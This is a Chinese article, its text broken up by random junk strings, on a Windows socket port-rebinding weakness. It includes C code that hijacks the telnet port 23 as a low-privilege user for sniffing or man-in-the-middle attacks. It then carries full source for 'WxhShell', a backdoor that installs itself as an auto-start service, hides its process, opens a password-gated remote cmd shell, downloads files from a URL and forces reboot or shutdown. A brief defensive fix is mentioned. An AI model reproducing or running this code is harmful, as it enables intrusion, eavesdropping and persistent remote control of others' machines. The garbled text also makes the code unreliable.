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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: IyS" s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
4;C*Fa $_C+4[R? saddr.sin_family = AF_INET; URK!W?3c / Mod=/e saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5Lsm_"0 Dz`k[mI bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q_T]9d k&)K( 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 CV&zi6 @P:R~m2 这意味着什么?意味着可以进行如下的攻击: 4.|-m.a S
Pn8\2Cj 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e&QS#k z2w;oM$g 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 'y9*uT~ \sK:W|yy 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 wE$s'e U:]MgZWn 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 F7{R~mS; [ -ISR7D 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |2)Sd[q r C_d$Jv 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 hq<5lE^ ,+tPRkwA^ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3J%V%}mD u#`+[AC` #include w[(n> #include {-@~Q.&}v #include NZLXN #include [p ii DWORD WINAPI ClientThread(LPVOID lpParam); 2sKG(^=Z int main() lhqQCV { XRa(sXA3 WORD wVersionRequested; k(P3LJcYQ DWORD ret; -bypuMQ-p WSADATA wsaData; *URdd,){i BOOL val; g nt45]@{ SOCKADDR_IN saddr; L[9OVD SOCKADDR_IN scaddr; iTh
xVD int err; P##Z[$IJ3 SOCKET s; #?9Q{0e SOCKET sc; <uZPqi|| int caddsize; bV@7mmz:X+ HANDLE mt; a3q\<"| DWORD tid; (ZV;$N-t wVersionRequested = MAKEWORD( 2, 2 ); x>%joKY[ err = WSAStartup( wVersionRequested, &wsaData ); E0QPE5_ if ( err != 0 ) { @(-yrU printf("error!WSAStartup failed!\n"); q]^,vei return -1; pOMgEEhfS } x;u ~NKy saddr.sin_family = AF_INET; 4O!E|/`wO Xo Y7/&& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @,k7xm$u s~^*+kq saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); td >,TW=A* saddr.sin_port = htons(23); :zlpfm2 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ah-8"`E { j 1(T )T printf("error!socket failed!\n"); _gKu8$o=- return -1; Z,WubX< } !.EcP=S val = TRUE; )1f+ld%R //SO_REUSEADDR选项就是可以实现端口重绑定的 o/cr{>"N if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) nq'M?c#E { XLm@etf printf("error!setsockopt failed!\n"); I}+;ME|<2 return -1; KAed!z9 } :#{-RU@PS //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (/K5! qh //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 D`Gt //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 x=-0 zV =EW3&+Lt if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?;
[ T { 5`~mqqR5 ret=GetLastError(); IaLMWoh printf("error!bind failed!\n"); V&i2L.{G) return -1; .+yW%~0 } R)+t]} listen(s,2); R&#tSL while(1) /b#q*x-b { zDDK caddsize = sizeof(scaddr); P16YS8$ //接受连接请求 BwxnDe G) sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _A 2Lv]vfV if(sc!=INVALID_SOCKET) jWvtv ng { JrDHRIkgm mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B3mS] if(mt==NULL) Uk,g> LG { LkBZlh_ printf("Thread Creat Failed!\n"); #~k[ 6YR 0 break; >)Gd:636+ } +`.,| |Mq } F;u_7OM CloseHandle(mt); cy|%sf` } L-\ =J closesocket(s); Mvb':/M WSACleanup(); d(7NO;S8 return 0; /v#)f-N%zs } #cU^U#;= r DWORD WINAPI ClientThread(LPVOID lpParam) #.ct5 { } ptMjT{9 SOCKET ss = (SOCKET)lpParam; .!RavEg+ SOCKET sc; UTCzHh1 unsigned char buf[4096]; ,l HLH SOCKADDR_IN saddr; {)@D`{$ long num; PKf:O DWORD val; exDkq0u] DWORD ret; Hi7y(h?wj //如果是隐藏端口应用的话,可以在此处加一些判断 81F,Y)x. //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 dz%EM8 saddr.sin_family = AF_INET; uS<_4A;sD, saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); $^_|j1z#i saddr.sin_port = htons(23); xWE8Wm if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CzVmNy)kl { KX3KM!* printf("error!socket failed!\n"); &yIGr`; return -1; s-rfS7; } =X1?_~} val = 100; ;..o7I if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1 ] #9
{ *Zbuq8> ret = GetLastError(); G[Tl%w return -1; cozXb$bBY } _xrwu;o0} if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y3'," { qZk:mlYd ret = GetLastError(); rmd;\)#*` return -1; P)6lu8zQ } t6lE#<xZV; if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) n~g LPHY { Vz%OV}\ printf("error!socket connect failed!\n"); \9:wfLF8! closesocket(sc); 4=[7Em?oLb closesocket(ss); x /mp=
return -1; L{8;Ud_2r }
bwiD$ while(1) E(^0B(JF { v]"L]/" //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 L}%dCe //如果是嗅探内容的话,可以再此处进行内容分析和记录 s B
20/F //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 edvFQ#,d num = recv(ss,buf,4096,0); +?m0Q;%b if(num>0) ]lBGyUJn send(sc,buf,num,0); 6bO~/mpWT~ else if(num==0) a~]bD break; 'g)n1 { num = recv(sc,buf,4096,0); Y`GOER if(num>0) d=3'?l` send(ss,buf,num,0); _yH`t[ else if(num==0) T!2=*~A break; jqnCA<G~B- } D'_Bz8H!p closesocket(ss); }< 5F closesocket(sc); C~4PE>YtTv return 0 ; %.HJK } pz|'l:v^ E JK0 TNwKda+ ========================================================== p(JlvJjo v;EQ, NL 下边附上一个代码,,WXhSHELL ?GT@puJS- @T-p2#& ========================================================== `>lzlEhKV (Ddp|a"b #include "stdafx.h" .12aUXo( T*[
VY1 #include <stdio.h> w:i:~f . #include <string.h> ,!#ccv+Vm% #include <windows.h> Q<(YP.k #include <winsock2.h>
aelO3'UN #include <winsvc.h> _5Bcwa/ #include <urlmon.h> ~I=Y{iM O(Jj|Z #pragma comment (lib, "Ws2_32.lib") "3CJUr:Q #pragma comment (lib, "urlmon.lib") ~P*4V]L^ /t%u"dP"T~ #define MAX_USER 100 // 最大客户端连接数 =8{WZCW5 #define BUF_SOCK 200 // sock buffer +A8j@d#: #define KEY_BUFF 255 // 输入 buffer [bz T&o _BM4>r?\ #define REBOOT 0 // 重启 jXg #define SHUTDOWN 1 // 关机 BJ}D%nm} P9Q~r<7n #define DEF_PORT 5000 // 监听端口 !CTxVLl"F 1bnBji #define REG_LEN 16 // 注册表键长度 hT g<* #define SVC_LEN 80 // NT服务名长度 `#P$ ]: Me5{_n // 从dll定义API :[l\@>H1tX typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .Ajzr8P typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); / |r' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .="bzgC3A typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &53]sFZ
3VO2,PCZ // wxhshell配置信息 G6 0S|d struct WSCFG { 0%Ll int ws_port; // 监听端口 )u%je~Vw char ws_passstr[REG_LEN]; // 口令 ~&dyRtW4 int ws_autoins; // 安装标记, 1=yes 0=no feM6K!fL` char ws_regname[REG_LEN]; // 注册表键名 n/d`qS char ws_svcname[REG_LEN]; // 服务名 ?%tMohL char ws_svcdisp[SVC_LEN]; // 服务显示名 2B0W~x2= char ws_svcdesc[SVC_LEN]; // 服务描述信息 Sl2iz? char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1T&Rc4$Sn7 int ws_downexe; // 下载执行标记, 1=yes 0=no jKIxdY:U char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" b}^S.;vNj char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LpbsYl @$^bMIj@W }; JuR"J1MY e}Vw!w // default Wxhshell configuration B!]2Se2G struct WSCFG wscfg={DEF_PORT, !|hoYU>@2L "xuhuanlingzhe", XN=67f$Hw 1, ,_.I\EY[ "Wxhshell", *iO u' "Wxhshell", tC?=E#3V "WxhShell Service", n:
ui "Wrsky Windows CmdShell Service", 5|0,X<& "Please Input Your Password: ", MM_k
]-7 1, C*=Xk/0 " http://www.wrsky.com/wxhshell.exe", Fxs;Fp "Wxhshell.exe" ;ea]$9 }; z;f2*F pIV-kI:w // 消息定义模块 Dr&('RZ4 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1@48BN8cm' char *msg_ws_prompt="\n\r? for help\n\r#>"; )>
,wj char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; d_UN0YT< char *msg_ws_ext="\n\rExit."; B(a-k? char *msg_ws_end="\n\rQuit."; ia&AW char *msg_ws_boot="\n\rReboot..."; OVzt\V*+%W char *msg_ws_poff="\n\rShutdown..."; F_iXd/ char *msg_ws_down="\n\rSave to "; -&x2&WE' GE;e]Jkjn char *msg_ws_err="\n\rErr!"; LsEXM- char *msg_ws_ok="\n\rOK!"; H={DB <#=N
m0S$ char ExeFile[MAX_PATH]; e1(Q(3 int nUser = 0; f),TO HANDLE handles[MAX_USER]; x5`br.b int OsIsNt; |:[tNs*,O K%<j=c SERVICE_STATUS serviceStatus; :NHH
Dl SERVICE_STATUS_HANDLE hServiceStatusHandle; xJ^>pg8 l:0s2 // 函数声明 ;7]u!Q int Install(void); p^<yj0Y int Uninstall(void); ,[S+T.Cu int DownloadFile(char *sURL, SOCKET wsh); y.5/?{GL int Boot(int flag); 00I}o%akO void HideProc(void); Ars687WB int GetOsVer(void); E1dD7r\ int Wxhshell(SOCKET wsl); T{wpJ"F5<] void TalkWithClient(void *cs); n~"$^Vr int CmdShell(SOCKET sock); q5h*`7f int StartFromService(void); `g8E1-]l int StartWxhshell(LPSTR lpCmdLine); Q$& sTM AqKz$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fx=Awba VOID WINAPI NTServiceHandler( DWORD fdwControl ); P./V6i<: h5%<+D< // 数据结构和表定义 (Fq5IGs SERVICE_TABLE_ENTRY DispatchTable[] = @2pu^k^ { +a&p$\ {wscfg.ws_svcname, NTServiceMain}, /kL$4CA {NULL, NULL} 5$DHn] }; Tus}\0/i> f.aSKQD // 自我安装 =9oPowq int Install(void) [b%:.bjY { B\J^=W+` char svExeFile[MAX_PATH]; IdYzgDH HKEY key; ;Op3?_ strcpy(svExeFile,ExeFile); 2LrJ>Mi )1N 54FNO // 如果是win9x系统,修改注册表设为自启动 ul%h@=n if(!OsIsNt) { a#mNE*Dg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,yd
MU\so( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]| N3eu RegCloseKey(key); aQI^^$9g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2*(Z==XC7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :4~g;2oag RegCloseKey(key); ^TMJ8`e return 0; `_b`kzJ } ;Yi4Xva@ } )jq?lw'& } ??n*2s@t else { *),8PoT OB[o2G <0 // 如果是NT以上系统,安装为系统服务 'n<iU st SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SyAvKd`g if (schSCManager!=0) /C/id)h> { )p!7#v/@f SC_HANDLE schService = CreateService jiF?fX@ ( U4 13?Pe
schSCManager, D:Q
21Ch wscfg.ws_svcname, LL|7rS|o wscfg.ws_svcdisp, ,J`'Y+7W SERVICE_ALL_ACCESS, AuR$g7z SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C3G)'\yL SERVICE_AUTO_START, Wf{O[yL* SERVICE_ERROR_NORMAL, V([~r, svExeFile, P&Pj>!T5
NULL, ]skkoM NULL, ?"z]A7<Hj NULL, 8/0Y vh NULL, *3T|M@Y NULL }I@L}f5N ); Ou{v/'9z, if (schService!=0) -s 6![eV { qlA7tU2p& CloseServiceHandle(schService); k`GA\&zt CloseServiceHandle(schSCManager); ^F:k3,_[ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DE2a5+^ strcat(svExeFile,wscfg.ws_svcname); @ym/27cRE if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jy]JiQB RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `DT3x{}_S RegCloseKey(key); tzy'G"P| return 0; nFe%vu8a } N}\[Gr } q>w)"Dd CloseServiceHandle(schSCManager); ^
wY[3"{ } /r12h| } v)2M1 `vc
"Q/ return 1; ' B } ICAH G7 , Me6+~"am/ // 自我卸载 .S(,o. int Uninstall(void) }du XC[ 6 { N)&4Hy HKEY key; 0\2\*I}? K\vSB~{[ if(!OsIsNt) { V/LQ<Yke if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QdLYCR4f RegDeleteValue(key,wscfg.ws_regname); 5e
sQ; RegCloseKey(key); *xp\4;B
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O5H9Y}i] RegDeleteValue(key,wscfg.ws_regname); q5>v'ZSo RegCloseKey(key); F@R1:M9* return 0; ~tOAT;g}q } Q[+ac*F=Y } 31EyDU,W } &qS[%K ) else { w`l{LHrR y>*xVK{D SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S$2b>#@UJ if (schSCManager!=0) K(XN-D/c { W+*5"h SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *m2=/Sh if (schService!=0) F#|:`$t { ,t)x{I;C) if(DeleteService(schService)!=0) { d~h:~ CloseServiceHandle(schService); jYiv'6z CloseServiceHandle(schSCManager); D~o$GW% return 0; .(Qx{r$ } ,RN:^5 p CloseServiceHandle(schService); p">EHWc}D } P,sjo u^ CloseServiceHandle(schSCManager); j[Uxa } 9}z0J } QM?#{%31 XT;u<aJs return 1; f<A5?eKw } .Vq)zi1< Gn;@{x6 // 从指定url下载文件 &CwFdx:Ff int DownloadFile(char *sURL, SOCKET wsh) r=c<--_@ { mqq;H} HRESULT hr; Qv-@Zt!8 char seps[]= "/"; )G7=G+e; char *token; :W@#) 1= char *file; ." $ char myURL[MAX_PATH]; jF[ 1za char myFILE[MAX_PATH]; U\rh[0 d6i6hcQE strcpy(myURL,sURL); cWajrLw token=strtok(myURL,seps); GU Q{r!S while(token!=NULL) 4Z|vnj)Z { _{jjgQJ5 file=token; eSW{Cb token=strtok(NULL,seps); W5#611 } I7^zU3]Ul pu,?<@0YK GetCurrentDirectory(MAX_PATH,myFILE); 7)%+=@ strcat(myFILE, "\\"); 67y Tvr@a strcat(myFILE, file); h_d<! send(wsh,myFILE,strlen(myFILE),0); /pp1~r.s?> send(wsh,"...",3,0); j1 =`| hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cwV]!=RtO if(hr==S_OK) UJs$q\#RO return 0; JMdPwI else ]\ngX;h8G return 1; (LHp%LaZ\; OxGE%R, } X>?b#Eva n&A'C\ // 系统电源模块 )#F]G$51r int Boot(int flag) ,sGZ2=M}J { FYS/##r HANDLE hToken; \n9zw' TOKEN_PRIVILEGES tkp; l]<L [Y,E- MQ)L:R`L if(OsIsNt) { sdCvG R e OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P=1I<Pew LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N$[$;Fm: tkp.PrivilegeCount = 1; s}j1"@ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _bD/D!| AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~afg)[( if(flag==REBOOT) { q$G,KRy/ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jgS%1/& return 0; ]59i> } c]B$i*t else { hm<}p&!J if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N8`?t5 return 0; Z0De!?ALV\ } 2DD:~Tbi } R}mn*h6 else { ^s.V;R if(flag==REBOOT) { mZIoaF>t if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n&MG7`]N return 0; Z!0]/ mCE8 } lcV<MDS else { ET];%~ ^ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &uUo3qXQ5l return 0; kF7V.m/~o } mJB2)^33a }
fI\9\x ^`f*'Z return 1; 4 g.
bR } 1009ES7* 'Pvm8t // win9x进程隐藏模块 - y9>;6 void HideProc(void) Q!,<@b) { $;G{Pyp /=uMk]h HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Vx_rc%' if ( hKernel != NULL ) f.GETw { a{Esw` pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;IK[Y{W/ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Jx#k,Z4 FreeLibrary(hKernel); '&;yT[ } aQ j*KMc rwIeqV{: return; i*R,QN) } 80M;4nH^5 mW%?>Z1=>d // 获取操作系统版本
kj5Q\vr) int GetOsVer(void) .lhn;*Yi { ^[Cv26 OSVERSIONINFO winfo; ~7!7\i,Y8\ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v&FF|)$ GetVersionEx(&winfo); w#i[_ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ZDL']*)' return 1; U}Hwto`R else x ]5@>5 return 0; g/UaYCjM } Y,8KPg@W P\CDd=yWc // 客户端句柄模块 )Z+{|^`kJ int Wxhshell(SOCKET wsl) 2}?wYI*:5| { l:]Nn%U(> SOCKET wsh; YJxw 'U
>P struct sockaddr_in client; Ff^@~X+W< DWORD myID; p#f+P? AGA`fRVx while(nUser<MAX_USER) =OJ;0 /$6 { aj,)P3DJu int nSize=sizeof(client); 1p`+ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SvvUkQ#1w if(wsh==INVALID_SOCKET) return 1; TgU**JN) 6B$q,"%S@ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JFL>nH0mk. if(handles[nUser]==0) Wl^R8w#Z$ closesocket(wsh); T2?HRx else E99CmG|" nUser++; 2S`?hxAL } 1G~S|,8p WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aKF*FFX Q-rL$%~=' return 0; C9S@v D+ } Vv$HR PZ8U6K' // 关闭 socket xr(|* void CloseIt(SOCKET wsh) hM@\RPsY { k&hc m closesocket(wsh); 2Ha5yaTL nUser--; 1gO2C$ ExitThread(0); ngulc v } .'[/|4H ,G^[o,hS // 客户端请求句柄 v}J;ZIb void TalkWithClient(void *cs) i54md$Q^ { ^C&+
~+ p<WFqLe(": SOCKET wsh=(SOCKET)cs; 7=4 A;Ybq char pwd[SVC_LEN]; VVWM9x char cmd[KEY_BUFF]; q&'Lbxc>c char chr[1]; /.5;in int i,j; A CNfS9M_w ;@ WV-bLe while (nUser < MAX_USER) { WKA'=,`v D 7shiv|, if(wscfg.ws_passstr) { J3S&3+2G if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r0m)j //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T#:F]= //ZeroMemory(pwd,KEY_BUFF); vd#,DU=p! i=0; 2>S~I"o0 while(i<SVC_LEN) { ?3sT"r_d@ MWuXI1 // 设置超时 Y ?]G}5 fd_set FdRead; HW=xvA+ struct timeval TimeOut; "C%!8`K{a* FD_ZERO(&FdRead); D1,O:+[;. FD_SET(wsh,&FdRead); Kn+=lCk TimeOut.tv_sec=8; b`cYpcs TimeOut.tv_usec=0; \9)[#Ld int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Mj0Cat= if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p}]q d4j >', y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;kaHN;4? pwd =chr[0]; {7Cx#Ewd if(chr[0]==0xd || chr[0]==0xa) { >e5zrgV pwd=0; o}8{Bh^ break; t\j!K2 } a
ib}`l i++; ^[h2% c$ } (0*v*kYdL+ j.-VJo) // 如果是非法用户,关闭 socket twqFs if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j~ym<-[{a } !"4w&bQ sn k$^ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $CtCOwKZ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 24@^{
} F 1|zXg) while(1) { Ph7pd KS!yT_O ZeroMemory(cmd,KEY_BUFF); _[E \= xi {| // 自动支持客户端 telnet标准 }F{=#Kqn^ j=0; &>}.RX]t while(j<KEY_BUFF) { +!&$SNLh( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :B#EqeI cmd[j]=chr[0]; y~#\#w{ if(chr[0]==0xa || chr[0]==0xd) { ZW ye>] cmd[j]=0; 2o{@nN8% break; %= u/3b:o } Rlg#z4m j++; j)D-BK&+ } qMgfMhQ7DU ^E@@YV // 下载文件 '_Wt}{h if(strstr(cmd,"http://")) { #MTj)P, send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5}<[[}( if(DownloadFile(cmd,wsh)) %<U{K; send(wsh,msg_ws_err,strlen(msg_ws_err),0); .Vx|'-u else GEE
]Kr send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;e;\q;GP } >_Uj?F: else { k8&FDz Fe="EDh switch(cmd[0]) { ?R?Grw)`H r=csi // 帮助 A o3HX case '?': { i>Iee^_( send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7Jx%JgF break; )*[
""& } AUAI3K? // 安装 d7~j^v)=^ case 'i': { &telCg: if(Install()) atnQC send(wsh,msg_ws_err,strlen(msg_ws_err),0); S[U/qO)m else N#Ag'i4HF send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #\b ;2> break; 7Dl%UG] } <ZrFOb // 卸载 ="lI i$>O case 'r': { 8IWwjyRr if(Uninstall()) *CUdGI& send(wsh,msg_ws_err,strlen(msg_ws_err),0); vvh.@f else aY j%w send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XM!M%.0WS break; h*'d;_(, } }J;~P
9Y // 显示 wxhshell 所在路径 ]31$KBC case 'p': { F50JJZ char svExeFile[MAX_PATH]; eUs-5
L strcpy(svExeFile,"\n\r"); )VY10R)$ strcat(svExeFile,ExeFile); 5+y`P$K@ send(wsh,svExeFile,strlen(svExeFile),0); "A7<XN< break; 0ny{)Sd6um } V Cf|`V~ G // 重启 K`gc 4:A case 'b': { l:z}; send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FQ## 397 if(Boot(REBOOT)) 7:kCb[ji" send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Vo mFp L else { =~",/I? closesocket(wsh); CgoXZX ExitThread(0); L<E/,IdE } U9F6d!:L7A break; sS'{QIRC' } ++k J\N{ // 关机 ]-EN/V case 'd': { lbofF==( send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z`@z if(Boot(SHUTDOWN)) 82.HH5Z{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); gUb
"3g0 else { C M^r|4K closesocket(wsh); t[ q3{- ExitThread(0); h&$Py } S| "TP\o break; PHl4 vh#E! } GDmv0V$6 // 获取shell ]gHLcr3 case 's': { w<mqe0 CmdShell(wsh); VwC4QK,d; closesocket(wsh); fr]Hc+7 ExitThread(0); /'"R Mq break; n531rkK- } qu!<lW~c // 退出 *cQz[S@F case 'x': { 'rh\CA/}D send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _0*=u$~R CloseIt(wsh); ,L~snR'w break; >E~~7Yal } g6`.qyVfz' // 离开 oo'iwq-\ case 'q': { |} 9GHjG send(wsh,msg_ws_end,strlen(msg_ws_end),0); VHj*aBHB closesocket(wsh); kw;wlFU; WSACleanup(); (Otur exit(1); v<`$bvv? break; Pd,!& } $4:~*IQ } XC2Q*Z } ]Qc: Zy3 X)y*#U // 提示信息 b2W; |
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G*=H;Upi } #e*$2+`[A } 8W{ g gi
'^qi2 return; Yr:>icz| } qm~Kw!kV %K`4k.gN // shell模块句柄 'oT|cmlc int CmdShell(SOCKET sock) hPS/CgLq { }0krSzcn#, STARTUPINFO si; o`25 ZeroMemory(&si,sizeof(si)); r"6lLc si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (s.o si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; br10ptEx PROCESS_INFORMATION ProcessInfo; pM,#wYL char cmdline[]="cmd"; J (=4 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ayN*fiV] return 0; 2pw>B%1WP) } jw/wcP J511AoQ{R // 自身启动模式 x[Hhj' int StartFromService(void) "NlRSc# { $F<%Jl7_Z typedef struct qP@L(_=g { ~y`Pwj DWORD ExitStatus;
-\5[Nq{N DWORD PebBaseAddress; Z#%}K
Z DWORD AffinityMask; BR%{bY^
5p DWORD BasePriority; 0VG^GKmx ULONG UniqueProcessId; $2;-q8+ ULONG InheritedFromUniqueProcessId; Xk;Uk[ } PROCESS_BASIC_INFORMATION; vxF:vI# @ kK08W3@&t PROCNTQSIP NtQueryInformationProcess; T$f:[ye]Z zv&ePq\# static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `AB~YX%( static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '! #On/ L,tZh0 HANDLE hProcess; ]U#JsMS PROCESS_BASIC_INFORMATION pbi; 6_x}.bkIx= p^}L HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^"PfDTyA if(NULL == hInst ) return 0; :A,O(
